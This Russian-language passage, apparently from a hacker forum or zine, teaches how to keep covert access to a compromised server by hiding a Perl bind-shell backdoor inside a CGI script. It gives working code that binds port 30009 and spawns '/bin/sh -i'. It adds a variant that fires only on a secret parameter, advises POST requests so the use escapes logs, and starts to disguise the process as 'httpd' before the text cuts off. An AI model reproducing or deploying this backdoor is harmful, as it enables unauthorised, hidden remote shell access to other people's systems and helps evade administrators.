Есть неплохой (немного ламерский, правда, но работающий ;)) способ оставить лазейку в систему, на случай если админ снимет руткит/бекдор/what_ever : загнать нужный код в середину cgi-скрипта. Теперь подробнее. Вот простой bindshell код :
#!/usr/bin/perl
$port = 30009;
use Socket;
socket(T, AF_INET, SOCK_STREAM, 0) || die; setsockopt(T, SOL_SOCKET, SO_REUSEADDR, 1) || die;
bind(T, sockaddr_in($port,INADDR_ANY)) || die;
listen(T,5);
accept(X,T);
open STDIN, "<&X"; open STDOUT, ">&X"; open STDERR, ">&X";
system("/bin/sh -i");
close(T);
Я надеюсь тут всё понятно? Если нет, то советую почитать справочник по перлу. Конечно перед вставкой в скрипт данный код нужно доработать. Во-первых, заставим его включаться при получении нужного параматра :
if ($paramz{sess} eq "g0t_r00t"){
$port = 30009;
socket(T, AF_INET, SOCK_STREAM, 0) || die; setsockopt(T, SOL_SOCKET, SO_REUSEADDR, 1) || die; bind(T, sockaddr_in($port,INADDR_ANY)) || die;
listen(T,5); accept(X,T); open STDIN, "<&X"; open STDOUT, ">&X"; open STDERR, ">&X"; system("/bin/sh -i"); close(T); }
Кстати, я рекомендую вызыввать скрипт запросами POST, т.к. GET банально логируются. Во-вторых, нужно сменить название процесса скрипта:
if ($paramz{sess} eq "g0t_r00t"){ $port = 30009; $proc = "httpd"; for ($i=0;$i<60;$i++){ $proc=$proc."
|